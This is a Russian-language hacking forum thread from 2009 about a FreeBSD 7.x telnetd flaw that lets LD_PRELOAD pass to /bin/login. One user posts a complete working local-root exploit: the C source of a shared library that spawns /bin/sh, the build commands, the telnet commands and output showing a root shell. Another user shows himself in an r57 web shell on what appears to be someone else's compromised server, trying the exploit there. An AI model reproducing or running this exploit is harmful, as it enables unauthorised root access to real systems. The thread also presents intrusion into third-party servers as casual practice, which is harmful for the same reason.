PDA

Просмотр полной версии : Получение root привилегий через telnetd демон во FreeBSD


betakley
16.02.2009, 13:02
Инфомация взята с opennet.ru
Первоисточник: http://lists.grok.org.uk/pipermail/full-disclosure/2009-February/067954.html

В telnetd демоне, входящем в состав FreeBSD 7.x, обнаружена критическая уязвимость, позволяющая локальному злоумышленнику получить привилегии суперпользователя в системе. Предположительно проблеме подвержены OpenBSD, NetBSD и другие системы. Эксплоит настолько прост, что вначале даже не верится, что он может работать. Уязвимость связана ненадлежащей чисткой переменных окружения перед вызовом /bin/login из telnetd (отсутствует чистка переменной окружения LD_PRELOAD, которую можно передать со стороны клиента, так как telnet протокол поддерживает передачу переменных окружения). Суть метода в подключении, через LD_PRELOAD простейшей библиотеки, запускающей /bin/sh в процедуре инициализации. Библиотека должна находиться на атакуемом хосте. При этом в момент подключения к локальному telnetd серверу, злоумышленник без аутентификации получает root shell. Теоретически на основе данной проблемы можно реализовать и сценарий удаленной атаки (например, библиотека может быть загружена через анонимный FTP). Исправления уязвимости в настоящий момент не доступны, рекомендуется отключить telnet сервис, если он используется.
сейчас под рукой нет bsd-системы, как с работы вернусь обязательно проверю. пробуем, отписываем, на каких ОС и версиях прокатило ;)

BuG_4F
16.02.2009, 14:39
Забавно :)
Опишешь, через что использовать эксполит ?

Aag
17.02.2009, 00:54
Уязвимость чисто теоретическая, с тех пор как изобрели ssh, только самоубийцы будут держать на своих серверах демон telnetd. Уже лет 10 как telnetd никто не использует.

betakley
17.02.2009, 03:03
Забавно :)
Опишешь, через что использовать эксполит ?
Во FreeBSD 6.2 пробовал - не прокатило :mad:
зато в 7.0 на ура :)
делал все как написано в источнике:

1. создаем файл hack.c
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo HACKED!!!;/bin/sh");
}
2. компилим
gcc -o hack.o -c hack.c -fPIC
gcc -shared -Wl,-soname,lib.so.1 -o lib.so.1.0 hack.o -nostartfiles
3. перемещаем например сюда
mv lib.so.1.0 /tmp

4. проверяем текущего юзера
$id
uid=1001(betakley) gid=1001(betakley) groups=1001(betakley),0(wheel)
5. набираем команду telnet и вводим
auth disable SRA
environ define LD_PRELOAD /tmp/lib.so.1.0
open localhost
6. получаем
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

FreeBSD/i386 (test) (ttyp1)

HACKED!!!

7. проверяем
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# uname -a
FreeBSD test 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
#


:)

.acme
17.02.2009, 08:37
http://lists.grok.org.uk/pipermail/full-disclosure/2009-February/067960.html

tmp
18.02.2009, 01:22
блин, на
FreeBSD 4.7-RELEASE-p28 не катит :(
-------------------------
nc big***.***.net 11***
Password:***
welcome to r57 shell
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
big**** /usr/local/phpMyAdmin-2.10.0.2-all-languages> telnet
auth disable SRA
environ define LD_PRELOAD /tmp/libGLo.so.1.0
open localhost
telnet> telnet> telnet> Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

FreeBSD/i386 (big***.r***.net) (ttyp1)

login:
--------------------------------------------------
Уже почти неделю с этим сервером мучаюсь :(

Hirurgi
27.02.2009, 01:52
В 7.0 переписали код так что теперь 4.7 в отношении телнета более безопасно. клево блин.